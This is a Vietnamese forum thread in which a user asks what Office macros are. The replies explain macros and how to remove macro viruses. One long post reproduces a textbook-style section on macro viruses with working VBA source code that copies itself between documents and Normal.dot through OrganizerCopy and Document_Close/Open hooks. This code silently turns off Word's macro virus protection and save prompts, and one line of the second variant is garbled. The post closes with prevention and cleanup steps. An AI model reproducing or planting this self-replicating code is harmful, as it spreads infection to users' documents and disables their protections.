Follow us on...
Follow us on Twitter Follow us on Facebook Watch us on YouTube

Giúp các bé đáng thương ấy với

Gameshow “Ai Là Triệu Phú” trên VTV đang chờ đón bạn – Tải ngay!

Bán đấu giá ủng hộ từ thiện

Ngập tràn ưu đãi cho tín đồ công nghệ tại sony show 2014

Chiêm ngưỡng BaoMoi đẹp "tuyệt diệu" trên Windows Phone

Tin tức công nghệ mới
kết quả từ 1 tới 6 trên 6
  1. #1
    vietnam293's Avatar
    vietnam293 vẫn chưa có mặt trong diễn đàn Búa Gỗ
    Tham gia
    Feb 2009
    Đến từ
    Hà Nội
    Bài
    19
    Cảm ơn
    22
    Điểm
    0/0 bài viết

    Default hỏi về macros trong word và cel

    Các bác có ai biết về macros trong word và cel không chỉ giáo cho em với, chả biết cái chức năng đó dùng để làm gì, nếu có thể thì cho em cái ví dụ để hiểu hơn về macros nhá

  2. #2
    Terra's Avatar
    Terra vẫn chưa có mặt trong diễn đàn Rìu Chiến Chấm
    Tham gia
    Jul 2008
    Đến từ
    HN-Ams
    Bài
    2.057
    Cảm ơn
    988
    Điểm
    1.356/553 bài viết

    Default

    Cái này gắn liền với excel hơn là word, nhiều virus cũng lây lan qua macro:

    Macro là gì?
    Macro là lệnh thực thi một kịch bản công việc nào đó. Tạo macro chính là việc ghi lại một tập các thao tác xử lý của người dùng (Record Macro) sau đó lưu lại thành một bộ lệnh và đặt trong một "MacroName". Ngôn ngữ ghi lại (thể hiện công việc trong macro) trong MS Office là VB (không phải VB.NET). Khi cần thực thi công việc giống như việc đã làm thì chỉ cần chạy MacroName (bấm phím ALT+F8) đó để thực hiện lại một kịch bản.
    một lệnh đơn độc, dùng trong chương trình máy tính, thay thế cho một chuỗi các lệnh hoặc phím gõ, thường thấy ở Microsoft office
    một số macro có cách thực thi khá giống 1 virus, chính vì vậy nó thường bị các chương trình antivirus xóa nhầm
    Diệt virus Macro mà không làm hư hại tài liệu.
    - Sau khi mở Word, ta vào menu Tool > Macro > Macros > nhấp Organizer > chọn thẻ Macro Project Items > nhấp nút Close File để nút Open File trong mục File of type chọn All Word Documents sau đó tìm đến nơi lưu trũ các file *.dot có chứa Macro để xóa. Sau khi xóa, ta nhấn Close để đóng lại, MS Word sẽ hỏi ta “Do you want to save the change to…”, thì ta sẽ chọn Yes, sau đó nhấp OK > bây giờ Macro đã bị xóa, trong file vẫn còn một đoạn mã lệnh của Macro, nhưng đoạn mã này bây giờ không còn tác dụng nữa. Để xóa hoàn toàn Macro, ta vào menu Tool > Macro > Visual Basic Editor > chọn Project [tên file Word đang mở] > chọn tiếpThisDocument. Lúc này, cửa sổ bên trái sẽ hiển thị đoạn mã còn lại của Macro, ta nhấp chuột vào cửa sổ này, nhấn phím Ctrl + A [chọn hết] và nhấn phím Delete để xóa đoạn mã này. Bây giờ Macro đã hoàn toàn biến khỏi file của ta là xong.

  3. Có 3 thành viên cảm ơn Terra cho bài viết này:
    faq21106 (05-12-2012), ngo_tri_dat (26-07-2013), vietnam293 (06-05-2009)

  4. #3
    khanhtd's Avatar
    khanhtd vẫn chưa có mặt trong diễn đàn Gà Con
    Tham gia
    Dec 2007
    Bài
    8
    Cảm ơn
    12
    Điểm
    14/5 bài viết

    Default

    Trích vietnam293 View Post
    Các bác có ai biết về macros trong word và cel không chỉ giáo cho em với, chả biết cái chức năng đó dùng để làm gì, nếu có thể thì cho em cái ví dụ để hiểu hơn về macros nhá
    Nôm na là như vầy: Macro dùng để tự động hóa một số thao tác nào đó, ví dụ khi bạn muốn định dạng Font chữ là VNi, cỡ chữ 20, màu chữ là đỏ, tô đậm.... thì bạn phải làm từng bước 1, còn nếu như bạn đã có tạo 1 macro ghi lại toàn bộ các bước đã làm ở trên thì bạn chỉ việc nhấn 1 phím tắt nào đó (do mình gán phím tắt khi tạo Macro) là các thao tác làm ở trên sẽ được tự động thực hiện mà không phải làm lại từng bước 1

  5. Có 4 thành viên cảm ơn khanhtd cho bài viết này:
    carlzeiss (02-06-2013), leo_dethuong (23-07-2013), ngo_tri_dat (26-07-2013), piegon (29-03-2014)

  6. #4
    hunganvn's Avatar
    hunganvn vẫn chưa có mặt trong diễn đàn Búa Gỗ Đôi
    Tham gia
    May 2009
    Đến từ
    Ha Noi, Vietnam, Vietnam
    Bài
    28
    Cảm ơn
    43
    Điểm
    6/4 bài viết

    Default

    MACRO VIRUS
    4.1. Giới thiệu
    Macro-MS Office (trong phần này và tiếp theo sẽ gọi tắt là macro) là chương trình được viết với các ngôn ngữ như WordBasic, VBA (Visual Basic for Application) để tự động thực hiện một số thao tác bên trong một ứng dụng nền của Microsoft Office như Microsoft Word, Excel, PowerPoint.
    Các macro VBA được xây dựng ở dạng các thủ tục (procedure) hoặc các hàm (function). Một chương trình viết trên ngôn ngữ VBA có thể truy cập tới các document, worksheet, Microsoft Outlook hay một đối tượng ứng dụng nào đó để đọc hoặc ghi dữ liệu.
    Như vậy, nếu những macro được thiết kế có khả năng tự sao chép chúng từ chỗ này sang chỗ khác, thì chúng trở thành các virus máy tính, bởi chúng đã có khả năng lây nhiễm, một đặc tính quan trọng của virus máy tính.
    Ngoài các macro do người sử dụng tự thiết kế, trong các ứng dụng của Microsoft Office có một số macro được tự động thi hành như:
    - AutoExec: được thi hành mỗi khi mở chương trình ứng dụng.
    - AutoNew: được thi hành để tạo một tài liệu/văn bản mới.
    - AutoOpen: được thi hành để mở một tài liệu đã có.
    - AutoClose: được thi hành để đóng một tài liệu đang mở.
    - AutoExit: được thi hành mỗi khi thoát khỏi ứng dụng.
    4.2. Phương thức lây nhiễm
    Kỹ thuật lây nhiễm của các virus macro khá đa dạng, phong phú, chủ yếu dựa trên các tính năng sao chép các macro từ file văn bản này sang file văn bản khác mà các ứng dụng nền hỗ trợ. Mỗi đối tượng VBComponent có một đối tượng con là CodeModule, cho phép thao tác trên các module chương trình có trong file văn bản. Virus có thể sử dụng các thuộc tính, phương thức sẵn có để thao tác trực tiếp trên các module này.
    4.2.1 Thông qua thành phần VBProject của các đối tượng Microsoft Office. Các macro được lưu trữ ngay trong file đối tượng (Document, WorkSheet, E-Mail) hoặc trong các tệp định dạng (Template) và được tham chiếu qua đối tượng Document hoặc WorkSheet. Mỗi đối tượng Document đều có thành phần VBProject. Trong VBProject có Container Object, là một VBComponents, chứa các thành phần VBA của file văn bản.
    4.2.2 Sử dụng các dịch vụ Import và Export.
    4.2.3 Trong đối tượng VBComponents có một phương thức là Import, cho phép nhập thêm các thành phần VBA (Form/Module/Class) từ một file. Mỗi thành phần VBA VBComponent cũng có một phương thức là Export cho phép xuất chính nó ra thành một file (.FRM, .BAS, .CLA). Mỗi khi muốn sao chép các chương trình virus sang một file văn bản mới, trước hết sử dụng lệnh Export để xuất chương trình ra một file, sau đó sử dụng lệnh Import để nhập chương trình virus vào file văn bản mới.
    4.2.4 Sử dụng OrganizerCopy. Phương thức OrganizerCopy của đối tượng Application có thể được sử dụng để sao chép chương trình virus sang một file văn bản khác. Giả sử trong file NormalTemplate đã có virus macro TEST01 (tên module virus - macro là TEST01 trong VBA)
    Sub SaveDocument()
    On Error Resume Next
    DaNhiem = False
    For Each obj In ActiveDocument.VBProject.VBComponents
    If obj.Name = "TEST01" Then DaNhiem = True
    Next obj
    If DaNhiem=False Then
    Application.OrganizerCopy
    Source:=NormalTemplate.FullName,
    Destination:=ActiveDocument,
    Name:="MacVirus",
    Object:=wdOrganizerObjectProjectItems
    End If
    End Sub
    Thủ tục copy virus từ một file tài liệu đã bị nhiễm virus vào file NormalTemplate.
    Sub SaveTemplate()
    On Error Resume Next
    DaNhiem = False
    For Each obj In NormalTemplate.VBProject.VBComponents
    If obj.Name = "TEST01" Then DaNhiem = True
    Next obj
    If DaNhiem = False Then
    Application.OrganizerCopy
    Source:=ActiveDocument.FullName,
    Destination:=NormalTemplate.FullName,
    Name:="MacVirus",
    Object:=wdOrganizerObjectProjectItems
    End If
    End Sub

    4.3. Ví dụ minh hoạ
    Macro Virus được xây dựng trong ví dụ này là virus lây lan trong các tệp tài liệu (document). Tệp được dùng như là môi trường để lây lan ở đây là tệp NORMAL.DOT. Tệp này được chọn làm công cụ truyền virus là vì hầu hết các Document đều sử dụng những thông tin chung về định dạng từ tệp này. Kí hiệu virus được nêu là M01.
    Nguyên lý hoạt động ở đây cũng rất đơn giản. Giả sử một tệp X đang được kích hoạt đã nhiễm virus. Có hai khả năng xảy ra:
    • Tệp X là tệp NORMAL.DOT, khi này đối tượng lây lan sẽ là Active Document.
    • X là một Document, đối tượng lây nhiễm sẽ là NORMAL.DOT.
    1) Trường hợp 1: X là tệp Normal.Dot, khi này macro đầu tiên được kích hoạt sẽ phải là Macro Open, do phải mở Document (New or Old). Công việc phải làm là thi hành đoạn chương trình kèm với Auto Macro Open. Lưu ý rằng đoạn chương trình virus gắn vào trong Normal.dot là kèm với macro Open.
    2) Trường hợp 2: X là tệp Active Document, khi này macro được kích hoạt lên là Macro Close, vì Document đã được mở trước đó. Công việc phải làm là thi hành đoạn chương trình kèm với Auto Macro Close.
    Active Macro Close:
    1. Control MACRO := False;
    2. Option.ConfirmConversions := False;
    3. Option.VirusProtection := False;
    4. Option.SaveNormalPrompt := False;
    5. AD := ActiveDocument.VBProject.VBComponents.Item(1)
    6. NT := NomalTemplate.VBProject.VBComponents.Item(1)
    7. If AD isn’t Infected Then F := AD, F1:= NT
    8. If NT isn’t Infected Then F := NT, F1 := AD
    9. If NT is Infected and AD is Infected Then
    a) Delete all lines in F.CodeModule
    b) Put the virus’s sign into F
    c) F’s Infection := TRUE
    a) You are in F1 now!
    b) Delete all First Empty Lines in F1’s CodeModule
    c) Insert String "Private Sub Document_Close()" into 1st Line in F
    d) Copy from 2nd to CountOfLine from F1 to F
    Else
    If now you are in AD then Insert String "Hi, now your document was infected? ".
    Phương án 1, lây vào Norrmal.dot và Active Document với macro CLOSE.
    Private Sub Document_Close()
    On Error Resume Next
    CommandBars("Tools").Controls("Macro").Enabled = True 'False ‘ đặt khóa bảo ‘mật sử dung
    Options.ConfirmConversions = False
    Options.VirusProtection = False
    Options.SaveNormalPrompt = False ‘Tắt ràng buộc hỏi save tất cả cái đã sửa
    Set AD = ActiveDocument.VBProject.VBComponents.Item(1)
    Set NT = NormalTemplate.VBProject.VBComponents.Item(1)
    dt = 2
    DoIn = False
    If AD.Name <> "Daisy" Then
    Set F = AD
    Set F1 = NT
    DoIn = True
    End If
    If NT.Name <> "Daisy" Then
    Set F = NT
    Set F1 = AD
    DoIn = True
    End If
    ‘GHI VIRUS VAO FILE DICH
    If DoIn = False Then GoTo Destroy
    Sd = F.CodeModule.CountOfLines ‘ số dồng phần đích
    If Sd > 0 Then F.CodeModule.DeleteLines 1, Sd
    F.Name = "Daisy"
    If DoIn = True Then
    Do While F1.CodeModule.Lines(1, 1) = "" ‘bỏ qua dòng trống
    F1.CodeModule.DeleteLines 1
    Loop
    F.CodeModule.AddFromString ("Private Sub Document_Close()")
    Do While F1.CodeModule.Lines(dt, 1) <> "" ‘KHI CHUA GAP DONG CUOI
    F.CodeModule.InsertLines dt, F1.CodeModule.Lines(dt, 1)
    dt = dt + 1
    Loop
    End If
    Destroy:
    Selection.TypeText "Hi, I am here ! "
    End Sub
    ------------------------------
    Phương án 2, lây vào Norrmal.dot với macro OPEN và Active Document với macro CLOSE.
    Private Sub Document_Close()
    On Error Resume Next
    CommandBars("Tools").Controls("Macro").Enabled = True 'False
    Options.ConfirmConversions = False
    Options.VirusProtection = False
    Options.SaveNormalPrompt = False
    Set AD = ActiveDocument.VBProject.VBComponents.Item(1)
    Set NT = NormalTemplate.VBProject.VBComponents.Item(1)
    dt = 2
    DoInN = False
    DoInD = False
    If AD.Name <> "Daisy" Then
    Set F = AD
    Set F1 = NT
    DoInD = True
    End If
    If NT.Name <> "Daisy" Then
    Set F = NT
    Set F1 = AD
    DoInN = True
    End If
    If DoInN = False And DoInD = False Then GoTo Destroy
    Sd = F.CodeModule.CountOfLines
    If Sd > 0 Then F.CodeModule.DeleteLines 1, Sd
    F.Name = "Daisy"
    If DoInD = True Or DoInN = True Then
    Do While F1.CodeModule.Lines(1, 1) = ""
    F1.CodeModule.DeleteLines 1
    Loop
    If DoInD Then
    F.CodeModule.AddFromString ("Private Sub Document_Close()")
    Else
    F.CodeModule.AddFromString ("Private Sub Document_Open()")
    End If
    Do While F1.CodeModule.Lines(dt, 1) <> ""
    F.CodeModule.IHello, I am MacroVirus ! dt, F1.CodeModule.Lines(dt, 1)
    dt = dt + 1
    Loop
    End If
    Destroy:
    Selection.TypeText Date & "Hi, I am here ! "
    End Sub
    4.4. Biện pháp phòng chống
    Macro virus có thể vô cùng nguy hiểm khi phá hoại nhưng có thể phòng chống nó tương đối dễ dàng. Đương nhiên, nếu có những chương trình đủ mới và mạnh thì chỉ cần thi hành các chương trình này để phòng chống virus là đủ (trừ khi virus macro là rất mới so với chương trình kiểm tra và diệt virus).Với những trường hợp không có những chương trình kiểm tra và diệt virus đủ mới và mạnh thì có thể thực hiện một số bước ban đầu như sau khi nghi ngờ máy tính bị nhiễm virus macro:
    1) Tắt toàn bộ các ứng dụng Office như Microsoft Word, Excel, Power Point.
    2) Vào Folders Program Files\Microsoft Office\Templates hoặc Folder Templates trong Folder chứa bộ chương trình Office. Tìm trong Folder này tệp Normal.Dot. Xoá tệp này.
    3) Nếu trên máy tính có các tệp template khác (phần mở rộng là DOT), bị nhiễm virus macro thì cũng phải xoá các tệp template này.
    Các bước trên nhằm hạn chế virus lây lan từ các tệp định dạng (templates) sang các tệp tài liệu sạch sẽ hoặc tệp mới được tạo ra.
    Cũng cần chú ý là các bước 1, 2 và 3 được thực hiện nếu trong các tệp template không chứa những định dạng quan trọng, ảnh hưởng tới nhiều tài liệu khác trên máy tính.
    Các bước tiếp theo đây là nhằm khống chế virus không lây lan từ các tệp tài liệu đã bị nhiễm mà vẫn có thể làm việc tạm thời với các tài liệu này ở chế độ Read-Only:
    1) Mở ứng dụng của Microsoft Office, chọn menu Tools, trong menu này chọn Option.... Trong cửa sổ Option chọn General, đánh dấu ở hộp Macro virus protection.
    2) Sau khi đặt Macro virus protection như trên mỗi khi mở tệp tài liệu có chứa macro (lành hoặc virus) sẽ xuất hiện câu hỏi bạn co muốn kích hoạt macro ko ?
    Nếu chọn Disable Macros thì sẽ mở tài liệu ở dạng Read-Only. Nếu chọn Enable Macros thì các macros sẽ được kích hoạt.
    3) Mặc dù chọn Disable Macros thì tài liệu chỉ được mở ở dạng Read-Only nhưng macro virus không được kích hoạt và có thể vào xem virus được:
    • Chọn menu Tools -> Macro -> Visual Basic Editor;
    • Trong cửa sæ Microsoft Visual Basic [This Document] này chọn hộp Project -> [Tên Document] -> Microsoft Word Object -> Tên Macro.
    • Chuyển sang ô cửa sæ soạn thảo đoạn mã nguồn của Macro, xoá toàn bộ đoạn mã nguồn. Ghi tài liệu dưới dạng Save As.
    • Quay lại xoá tài liệu cũ (vẫn còn chứa Macro).
    4) Copy toàn bộ nội dung của file Word vào vùng đệm, chú ý bỏ qua một hoặc vài dấu cách trắng cuối file, khi đó macro trong file không được copy (Nếu copy hết các dấu trắng thì sẽ copy cả phần session chứa macro). Mở một tài liệu mới, lưu nội dung trên vùng đệm vào tệp. Ghi tệp mới vào đĩa. Tệp mới sẽ không chứa virus.

  7. Có 1 thành viên cảm ơn hunganvn cho bài viết này:
    haki.truyentranh (18-10-2014)

  8. #5
    hunganvn's Avatar
    hunganvn vẫn chưa có mặt trong diễn đàn Búa Gỗ Đôi
    Tham gia
    May 2009
    Đến từ
    Ha Noi, Vietnam, Vietnam
    Bài
    28
    Cảm ơn
    43
    Điểm
    6/4 bài viết

    Default

    chúc bạn sớm hiểu hơn về con Macro này ?

  9. #6
    aaahhhh's Avatar
    aaahhhh vẫn chưa có mặt trong diễn đàn Rìu Bạc
    Tham gia
    Dec 2008
    Bài
    370
    Cảm ơn
    3.317
    Điểm
    64/43 bài viết

    Default

    Rất cám ơn bạn!

 

 

Quyền sử dụng

  • Bạn không thể gửi chủ đề mới
  • Bạn không thể gửi trả lời
  • Bạn không thể gửi file đính kèm
  • Bạn không thể tự sửa bài viết của mình
  •